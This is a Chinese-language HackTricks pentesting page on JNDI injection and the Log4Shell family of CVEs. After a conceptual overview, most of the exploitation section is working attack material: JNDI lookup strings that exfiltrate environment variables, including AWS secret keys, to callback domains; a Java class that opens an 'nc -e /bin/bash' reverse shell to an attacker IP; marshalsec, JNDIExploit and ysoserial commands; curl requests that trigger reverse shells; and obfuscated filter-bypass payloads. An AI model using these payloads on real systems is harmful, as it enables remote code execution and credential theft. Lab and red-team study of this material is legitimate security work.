JNDI - Java Naming and Directory Interface & Log4Shell

Reading time: 29 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

基本信息

JNDI,自1990年代末以来集成到Java中,作为目录服务,使Java程序能够通过命名系统定位数据或对象。它通过服务提供者接口(SPIs)支持各种目录服务,允许从不同系统检索数据,包括远程Java对象。常见的SPIs包括CORBA COS、Java RMI Registry和LDAP。

JNDI命名参考

Java对象可以使用JNDI命名引用进行存储和检索,形式有两种:

  • 引用地址:指定对象的位置(例如,rmi://server/ref),允许直接从指定地址检索。
  • 远程工厂:引用一个远程工厂类。当访问时,该类会从远程位置下载并实例化。

然而,这种机制可能被利用,可能导致加载和执行任意代码。作为对策:

  • RMIjava.rmi.server.useCodeabseOnly = true 从JDK 7u21开始默认启用,限制远程对象加载。安全管理器进一步限制可以加载的内容。
  • LDAPcom.sun.jndi.ldap.object.trustURLCodebase = false 从JDK 6u141、7u131、8u121开始默认启用,阻止执行远程加载的Java对象。如果设置为true,则可以在没有安全管理器监督的情况下进行远程代码执行。
  • CORBA:没有特定属性,但安全管理器始终处于活动状态。

然而,负责解析JNDI链接的命名管理器缺乏内置安全机制,可能允许从任何来源检索对象。这构成风险,因为RMI、LDAP和CORBA的保护措施可能被绕过,导致加载任意Java对象或利用现有应用组件(小工具)运行恶意代码。

可利用的URL示例包括:

  • rmi://attacker-server/bar
  • ldap://attacker-server/bar
  • iiop://attacker-server/bar

尽管有保护措施,漏洞仍然存在,主要是由于缺乏对从不受信任来源加载JNDI的保护以及绕过现有保护的可能性。

JNDI示例

即使您已设置**PROVIDER_URL**,您仍可以在查找中指示不同的URL,并将其访问:ctx.lookup("<attacker-controlled-url>"),这就是攻击者将利用的内容,从他控制的系统加载任意对象。

CORBA概述

CORBA(通用对象请求代理架构)使用**可互操作对象引用(IOR)**唯一标识远程对象。此引用包含关键信息,如:

  • 类型ID:接口的唯一标识符。
  • 代码库:获取存根类的URL。

值得注意的是,CORBA本身并不脆弱。确保安全通常涉及:

  • 安装安全管理器
  • 配置安全管理器以允许连接到潜在恶意的代码库。这可以通过以下方式实现:
  • 套接字权限,例如,permissions java.net.SocketPermission "*:1098-1099", "connect";
  • 文件读取权限,可以是通用的(permission java.io.FilePermission "<<ALL FILES>>", "read";)或针对可能放置恶意文件的特定目录。

然而,一些供应商政策可能会宽松,默认允许这些连接。

RMI上下文

对于RMI(远程方法调用),情况有所不同。与CORBA一样,默认情况下限制任意类下载。要利用RMI,通常需要绕过安全管理器,这在CORBA中也同样适用。

LDAP

首先,我们需要区分搜索和查找。
搜索将使用类似ldap://localhost:389/o=JNDITutorial的URL从LDAP服务器查找JNDITutorial对象并检索其属性
查找旨在用于命名服务,因为我们想获取绑定到名称的任何内容

如果LDAP搜索是通过SearchControls.setReturningObjFlag()设置为true调用的,则返回的对象将被重构

因此,有几种方法可以攻击这些选项。
攻击者可能会通过在LDAP记录中引入有效负载来污染它们,这些有效负载将在收集它们的系统中执行(如果您可以访问LDAP服务器,这非常有用,可以妥协数十台机器)。另一种利用此漏洞的方法是执行LDAP搜索中的MitM攻击

如果您可以使应用程序解析JNDI LDAP URL,您可以控制将要搜索的LDAP,并可以返回有效负载(log4shell)。

反序列化漏洞

漏洞是序列化的,并将被反序列化。
如果trustURLCodebasetrue,攻击者可以在代码库中提供自己的类;如果不是,他将需要利用类路径中的小工具。

JNDI引用漏洞

使用JavaFactory引用攻击此LDAP更容易:

Log4Shell漏洞

该漏洞在Log4j中引入,因为它支持一种特殊语法,形式为${prefix:name},其中prefix是多个不同的查找之一,name应被评估。例如,${java:version}是当前运行的Java版本。

LOG4J2-313引入了jndi查找功能。此功能允许通过JNDI检索变量。通常,键会自动以java:comp/env/为前缀。但是,如果键本身包含**":"**,则不会应用此默认前缀。

在键中存在**:时,例如${jndi:ldap://example.com/a},则没有前缀**,并且LDAP服务器会查询该对象。这些查找可以在Log4j的配置中使用,也可以在记录的行中使用。

因此,获取RCE所需的唯一条件是处理用户控制的信息的Log4j脆弱版本。由于这是一个被Java应用广泛使用的库来记录信息(包括面向互联网的应用),因此通常会有log4j记录例如接收到的HTTP头信息,如User-Agent。然而,log4j不仅用于记录HTTP信息,还用于记录开发人员指示的任何输入和数据

Log4Shell相关CVE概述

CVE-2021-44228 [严重]

此漏洞是log4j-core组件中的一个关键不受信任的反序列化缺陷,影响版本从2.0-beta9到2.14.1。它允许远程代码执行(RCE),使攻击者能够接管系统。该问题由阿里巴巴云安全团队的陈兆军报告,影响多个Apache框架。版本2.15.0中的初始修复不完整。防御的Sigma规则可用(规则1规则2)。

CVE-2021-45046 [严重]

最初评级为低,但后来升级为严重,此CVE是由于2.15.0对CVE-2021-44228的修复不完整而导致的**拒绝服务(DoS)**缺陷。它影响非默认配置,允许攻击者通过精心制作的有效负载造成DoS攻击。一条推文展示了一种绕过方法。该问题在版本2.16.0和2.12.2中通过删除消息查找模式和默认禁用JNDI得到解决。

CVE-2021-4104 [高]

影响Log4j 1.x版本在使用JMSAppender的非默认配置中,此CVE是一个不受信任的反序列化缺陷。1.x分支没有可用的修复,已结束生命周期,建议升级到log4j-core 2.17.0

CVE-2021-42550 [中等]

此漏洞影响Logback日志框架,这是Log4j 1.x的继任者。之前认为是安全的,该框架被发现存在漏洞,已发布新版本(1.3.0-alpha11和1.2.9)以解决该问题。

CVE-2021-45105 [高]

Log4j 2.16.0包含一个DoS缺陷,促使发布log4j 2.17.0以修复该CVE。更多细节见BleepingComputer的报告

CVE-2021-44832

影响log4j版本2.17,此CVE要求攻击者控制log4j的配置文件。它涉及通过配置的JDBCAppender进行潜在的任意代码执行。更多细节可在Checkmarx博客文章中找到。

Log4Shell利用

发现

如果没有保护,此漏洞非常容易发现,因为它将向您在有效负载中指示的地址发送至少一个DNS请求。因此,像这样的有效负载:

  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}(使用canarytokens.com
  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}(使用interactsh
  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}(使用Burp Suite)
  • ${jndi:ldap://2j4ayo.dnslog.cn}(使用dnslog
  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}(使用huntress

请注意,即使收到DNS请求,也不意味着应用程序是可利用的(甚至不脆弱),您需要尝试利用它。

note

请记住,要利用版本2.15,您需要添加localhost检查绕过:${jndi:ldap://127.0.0.1#...}

本地发现

搜索本地脆弱版本的库:

bash
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

验证

之前列出的一些平台将允许您插入一些在请求时会被记录的变量数据。
这对于两件事非常有用:

  • 验证漏洞
  • 利用漏洞进行信息外泄

例如,您可以请求类似于:
或像 ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a},如果收到的DNS请求包含环境变量的值,您就知道该应用程序存在漏洞。

您可以尝试泄露的其他信息:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

RCE 信息

note

运行在 JDK 版本高于 6u141、7u131 或 8u121 的主机已针对 LDAP 类加载攻击向量进行了保护。这是由于默认禁用 com.sun.jndi.ldap.object.trustURLCodebase,这防止了 JNDI 通过 LDAP 加载远程代码库。然而,重要的是要注意,这些版本并未保护免受反序列化攻击向量

对于旨在利用这些较高 JDK 版本的攻击者,必须在 Java 应用程序中利用受信任的工具。像 ysoserial 或 JNDIExploit 这样的工具通常用于此目的。相反,利用较低的 JDK 版本相对容易,因为这些版本可以被操纵以加载和执行任意类。

更多信息如 RMI 和 CORBA 向量的限制请查看之前的 JNDI 命名参考部分https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/

RCE - Marshalsec 与自定义有效载荷

您可以在 THM box 中测试此内容: https://tryhackme.com/room/solar

使用工具 marshalsec(jar 版本可在 这里 获取)。此方法建立一个 LDAP 引用服务器,以将连接重定向到一个次级 HTTP 服务器,在该服务器上将托管漏洞利用:

bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

要提示目标加载反向 shell 代码,创建一个名为 Exploit.java 的 Java 文件,内容如下:

java
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

将Java文件编译为类文件,使用:javac Exploit.java -source 8 -target 8。接下来,在包含类文件的目录中启动一个HTTP服务器,使用:python3 -m http.server。确保marshalsec LDAP服务器引用此HTTP服务器。

通过发送类似的有效负载来触发在易受攻击的Web服务器上执行漏洞类:

bash
${jndi:ldap://<LDAP_IP>:1389/Exploit}

注意: 此漏洞依赖于Java的配置,以允许通过LDAP加载远程代码库。如果这不被允许,请考虑利用受信任的类进行任意代码执行。

RCE - JNDIExploit

note

请注意,由于某种原因,作者在发现log4shell后将此项目从github中删除。您可以在https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2找到缓存版本,但如果您想尊重作者的决定,请使用其他方法来利用此漏洞。

此外,您无法在时光机中找到源代码,因此要么分析源代码,要么执行jar文件,知道您不知道自己在执行什么。

在此示例中,您可以在8080端口运行此易受攻击的web服务器以进行log4shellhttps://github.com/christophetd/log4shell-vulnerable-app在README中您将找到如何运行它)。此易受攻击的应用程序使用易受攻击的log4shell版本记录HTTP请求头_X-Api-Version_的内容。

然后,您可以下载JNDIExploit jar文件并使用以下命令执行它:

bash
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

com.feihong.ldap.LdapServercom.feihong.ldap.HTTPServer 中,您可以看到如何 创建 LDAP 和 HTTP 服务器。LDAP 服务器将理解需要提供的有效负载,并将受害者重定向到 HTTP 服务器,后者将提供漏洞利用。
com.feihong.ldap.gadgets 中,您可以找到 一些特定的工具,可以用来执行所需的操作(可能执行任意代码)。在 com.feihong.ldap.template 中,您可以看到不同的模板类,这些类将 生成漏洞利用

您可以使用 java -jar JNDIExploit-1.2-SNAPSHOT.jar -u 查看所有可用的漏洞利用。一些有用的包括:

bash
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

所以,在我们的例子中,我们已经有那个易受攻击的 Docker 应用程序在运行。要攻击它:

bash
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

在发送攻击时,您将在执行 JNDIExploit-1.2-SNAPSHOT.jar 的终端中看到一些输出。

请记得检查 java -jar JNDIExploit-1.2-SNAPSHOT.jar -u 以获取其他利用选项。此外,如果需要,您可以更改 LDAP 和 HTTP 服务器的端口。

RCE - JNDI-Exploit-Kit

与之前的利用方式类似,您可以尝试使用 JNDI-Exploit-Kit 来利用此漏洞。
您可以通过运行生成要发送给受害者的 URL:

bash
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

这个攻击使用自定义生成的java对象将在像THM solar room这样的实验室中有效。然而,这通常不会有效(因为默认情况下Java未配置为使用LDAP加载远程代码库),我认为这是因为它没有滥用受信任的类来执行任意代码。

RCE - JNDI-Injection-Exploit-Plus

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus 是另一个生成可用JNDI链接的工具,并通过启动RMI服务器、LDAP服务器和HTTP服务器提供后台服务。

RCE - ysoserial & JNDI-Exploit-Kit

这个选项对于攻击仅信任指定类而不是所有类的Java版本非常有用。因此,ysoserial将用于生成受信任类的序列化,这些序列化可以作为小工具来执行任意代码ysoserial滥用的受信任类必须被受害者的java程序使用,以便利用能够生效)。

使用ysoserialysoserial-modified,您可以创建将被JNDI下载的反序列化利用:

bash
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

使用 JNDI-Exploit-Kit 生成 JNDI 链接,其中漏洞将等待来自易受攻击机器的连接。您可以提供 不同的利用程序,这些利用程序可以由 JNDI-Exploit-Kit 自动生成,甚至是您 自己的反序列化有效负载(由您或 ysoserial 生成)。

bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

现在您可以轻松使用生成的 JNDI 链接来利用该漏洞并获得 反向 shell,只需发送到一个易受攻击的 log4j 版本:${ldap://10.10.14.10:1389/generated}

绕过方法

java
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

自动扫描器

测试实验室

Post-Log4Shell 利用

在这个 CTF 写作 中很好地解释了如何 可能 滥用 Log4J 的某些功能。

Log4j 的 安全页面 有一些有趣的句子:

从版本 2.16.0(对于 Java 8)开始,消息查找功能已被完全移除配置中的查找仍然有效。此外,Log4j 现在默认禁用对 JNDI 的访问。配置中的 JNDI 查找现在需要显式启用。

从版本 2.17.0(以及 Java 7 和 Java 6 的 2.12.3 和 2.3.1)开始,仅配置中的查找字符串被递归扩展;在任何其他用法中,仅解析顶级查找,任何嵌套查找都不会被解析。

这意味着默认情况下你可以 忘记使用任何 jndi 漏洞。此外,要执行 递归查找,你需要进行配置。

例如,在那个 CTF 中,这在文件 log4j2.xml 中进行了配置:

xml
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

环境查找

这个 CTF 中,攻击者控制了 ${sys:cmd} 的值,并需要从环境变量中提取标志。
之前的有效载荷 中可以看到,有不同的方法来访问环境变量,例如:${env:FLAG}。在这个 CTF 中这没有用,但在其他现实场景中可能会有用。

异常中的提取

在 CTF 中,你 无法访问 java 应用程序的 stderr,但 Log4J 异常会发送到 stdout,这在 python 应用程序中被打印。这意味着触发异常时我们可以访问内容。提取标志的异常是:${java:${env:FLAG}}。这有效是因为 ${java:CTF{blahblah}} 不存在,异常的值将显示标志:

转换模式异常

仅提及,你还可以注入新的 转换模式 并触发将被记录到 stdout 的异常。例如:

这在提取错误消息中的数据时并没有被发现有用,因为查找在转换模式之前没有被解决,但它可能对其他事情如检测有用。

转换模式正则表达式

然而,可以使用一些 支持正则表达式的转换模式 通过使用正则表达式和滥用 二分查找基于时间 的行为来提取信息。

  • 通过异常消息的二分查找

转换模式 %replace 可以用来 替换 字符串 中的 内容,甚至使用 正则表达式。它的工作方式是:replace{pattern}{regex}{substitution}
滥用这种行为,你可以使替换 在正则表达式匹配到字符串中的任何内容时触发异常(如果未找到则不触发异常),如下所示:

bash
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
  • 基于时间

正如前一节提到的,%replace 支持 regexes。因此,可以使用来自 ReDoS 页面 的有效载荷来导致 超时,如果找到标志。
例如,像 %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} 的有效载荷将在该 CTF 中触发 超时

在这个 写作 中,使用了 放大攻击 而不是 ReDoS 攻击来造成响应中的时间差:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

如果标志以 flagGuess 开头,则整个标志将被 29 个 # 替换(我使用这个字符是因为它可能不会是标志的一部分)。然后将结果中的每个 29 个 # 替换为 54 个 #。这个过程重复 6 次,导致总共 29*54*54^6* =`` ``96816014208 #

替换如此多的 # 将触发 Flask 应用程序的 10 秒超时,这反过来将导致 HTTP 状态代码 500 被发送给用户。(如果标志不以 flagGuess 开头,我们将收到非 500 状态代码)

参考文献

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks